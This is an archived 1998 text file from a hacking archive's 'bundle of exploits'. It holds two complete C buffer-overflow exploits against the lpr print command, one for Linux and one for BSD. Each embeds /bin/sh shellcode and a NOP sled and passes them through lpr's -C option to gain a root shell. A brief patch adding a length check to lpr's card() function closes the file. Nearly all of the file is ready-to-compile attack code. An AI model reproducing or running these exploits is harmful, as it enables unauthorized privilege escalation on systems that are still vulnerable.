home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / linux_lpr.c-5301 < prev    next >
Text File  |  1998-07-17  |  3KB  |  116 lines

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <unistd.h>
  4.  
  5. #define DEFAULT_OFFSET          50
  6. #define BUFFER_SIZE             1023
  7.  
  8. long get_esp(void)
  9. {
  10.    __asm__("movl %esp,%eax\n");
  11. }
  12.  
  13. void main()
  14. {
  15.    char *buff = NULL;
  16.    unsigned long *addr_ptr = NULL;
  17.    char *ptr = NULL;
  18.  
  19.    u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
  20.                         "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
  21.                         "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
  22.                         "\xd7\xff\xff\xff/bin/sh";
  23.    int i;
  24.  
  25.    buff = malloc(4096);
  26.    if(!buff)
  27.    {
  28.       printf("can't allocate memory\n");
  29.       exit(0);
  30.    }
  31.    ptr = buff;
  32.    memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
  33.    ptr += BUFFER_SIZE-strlen(execshell);
  34.    for(i=0;i < strlen(execshell);i++)
  35.       *(ptr++) = execshell[i];
  36.    addr_ptr = (long *)ptr;
  37.    for(i=0;i<2;i++)
  38.       *(addr_ptr++) = get_esp() + DEFAULT_OFFSET;
  39.    ptr = (char *)addr_ptr;
  40.    *ptr = 0;
  41.    execl("/usr/bin/lpr", "lpr", "-C", buff, NULL);
  42. }
  43. ------------------------------------------- bsd_lpr_exploit.c ------
  44. #include <stdio.h>
  45. #include <stdlib.h>
  46. #include <unistd.h>
  47.  
  48. #define DEFAULT_OFFSET          50
  49. #define BUFFER_SIZE             1023
  50.  
  51. long get_esp(void)
  52. {
  53.    __asm__("movl %esp,%eax\n");
  54. }
  55.  
  56. void main()
  57. {
  58.    char *buff = NULL;
  59.    unsigned long *addr_ptr = NULL;
  60.    char *ptr = NULL;
  61.  
  62.    char execshell[] =
  63.    "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
  64.    "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
  65.    "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
  66.    "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
  67.  
  68.    int i;
  69.  
  70.    buff = malloc(4096);
  71.    if(!buff)
  72.    {
  73.       printf("can't allocate memory\n");
  74.       exit(0);
  75.    }
  76.    ptr = buff;
  77.    memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
  78.    ptr += BUFFER_SIZE-strlen(execshell);
  79.    for(i=0;i < strlen(execshell);i++)
  80.       *(ptr++) = execshell[i];
  81.    addr_ptr = (long *)ptr;
  82.    for(i=0;i<2;i++)
  83.       *(addr_ptr++) = get_esp() + DEFAULT_OFFSET;
  84.    ptr = (char *)addr_ptr;
  85.    *ptr = 0;
  86.    execl("/usr/bin/lpr", "lpr", "-C", buff, NULL);
  87. }
  88. --------------------------------------------------------------------------
  89.  
  90.   Here is a little patch -- see file lpr.c, function card():
  91. ("!!" marks added lines)
  92.  
  93. --------------------------------------------------------------------------
  94. static void card(c, p2)
  95.         register int c;
  96.         register char *p2;
  97. {
  98.         char buf[BUFSIZ];
  99.         register char *p1 = buf;
  100.         register int len = 2;
  101.  
  102.         if (strlen(p2) > BUFSIZ-2)                     /* !! */
  103.         {                                              /* !! */
  104.                 printf("No, thanks...\n");             /* !! */
  105.                 exit(1);                               /* !! */
  106.         }
  107.         *p1++ = c;
  108.         while ((c = *p2++) != '\0') {
  109.                 *p1++ = (c == '\n') ? ' ' : c;
  110.                 len++;
  111.         }
  112.         *p1++ = '\n';
  113.         write(tfd, buf, len);
  114. }
  115.  
  116.